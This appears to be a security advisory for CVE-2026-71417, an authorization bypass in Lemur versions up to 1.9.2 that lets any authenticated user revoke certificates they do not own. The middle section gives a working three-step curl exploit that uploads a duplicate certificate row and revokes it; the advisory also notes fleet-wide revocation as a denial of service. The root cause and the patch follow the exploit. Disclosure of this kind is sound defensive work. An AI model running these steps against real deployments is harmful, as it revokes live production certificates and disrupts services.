high · 7.3CVE-2026-71417Aug 18, 2026

CVE-2026-71417: Lemur Authorization Bypass via Duplicate Certificate Upload Enables Arbitrary CA Revocation

Rohit Hatagale
AI Security Researcher, SecureLayer7

Any authenticated Lemur user can revoke a certificate they do not own, including live production certificates, by uploading a duplicate database record and revoking it through an authorization check…

Packagelemur
Ecosystempip
Affected<= 1.9.2
Fixed in1.9.3
CVE-2026-71417: Lemur Authorization Bypass via Duplicate Certificate Upload Enables Arbitrary CA Revocation

The problem

Lemur's revoke endpoint (PUT /api/1/certificates/<id>/revoke) checks ownership against the Lemur database row, not the CA-side certificate identity. Because POST /api/1/certificates/upload accepted a caller-supplied authority and external_id with no AuthorityPermission check, and because body/serial/external_id had no uniqueness constraint, any non-read-only user could create a second row aliasing any existing certificate.

The revoke endpoint then short-circuits ownership checks when the caller is the row's creator, and its deployed-certificate guard inspects only that duplicate row's endpoints (always empty). The issuer plugin revokes at the CA using body (ACME) or external_id (DigiCert/Entrust/CFSSL) from the duplicate row under the authority's stored credentials, revoking the real certificate.

An attacker iterating GET /api/1/certificates can trigger fleet-wide revocation as a DoS.

Proof of concept

A working proof-of-concept for CVE-2026-71417 in lemur, with the exact payload below.

bash
# 1. Read the target certificate's public data (any authenticated user can do this)
curl -sS "https://<LEMUR_HOST>/api/1/certificates/<VICTIM_CERT_ID>" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  | jq '{body, external_id, authority: .authority.id}'

# 2. Upload a duplicate row for the same CA-side certificate
#    authority + body + externalId match the victim cert;
#    upload is gated only by StrictRolePermission, not AuthorityPermission
curl -sS -X POST "https://<LEMUR_HOST>/api/1/certificates/upload" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
        "name": "dup-to-revoke",
        "owner": "attacker@example.com",
        "body": "<VICTIM_BODY_PEM>",
        "authority": {"id": <VICTIM_AUTHORITY_ID>},
        "externalId": "<VICTIM_EXTERNAL_ID>"
      }'
# Response includes {"id": <DUP_ID>, ...}; attacker is now cert.user of <DUP_ID>

# 3. Revoke the duplicate row; the plugin revokes at the CA by body/external_id
#    creator-bypass skips CertificatePermission; empty endpoints skips endpoint guard
curl -sS -X PUT "https://<LEMUR_HOST>/api/1/certificates/<DUP_ID>/revoke" \
  -H "Authorization: Bearer <AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"crlReason": "unspecified"}'

The root cause is CWE-639 (Authorization Bypass Through User-Controlled Key): revocation authority was bound to ownership of the Lemur DB row, not to the CA-side certificate identity. Because upload allowed creating a second row that aliases the same CA-side certificate (same body/external_id/authority) without any uniqueness constraint or AuthorityPermission check, an attacker could manufacture a row they own and then exploit the creator-bypass on revoke.

The patch addresses this at two points. POST /certificates/upload now requires AuthorityPermission on the specified authority and rejects any upload whose (authority_id, serial) pair already matches an existing certificate with a 409. PUT /certificates/<id>/revoke now checks authorization and endpoint attachment against every certificate row sharing (authority_id, serial) with the row being revoked, closing the gap for any duplicate rows that pre-exist the patch.

The fix

Upgrade to Lemur 1.9.3. The patch adds AuthorityPermission enforcement on POST /api/1/certificates/upload, rejects duplicate (authority_id, serial) pairs with HTTP 409, and makes PUT /api/1/certificates/<id>/revoke evaluate authorization and endpoint-attachment against all rows sharing the same (authority_id, serial), not just the named row.

Reporter not attributed.

References: [1][2][3][4]

Related research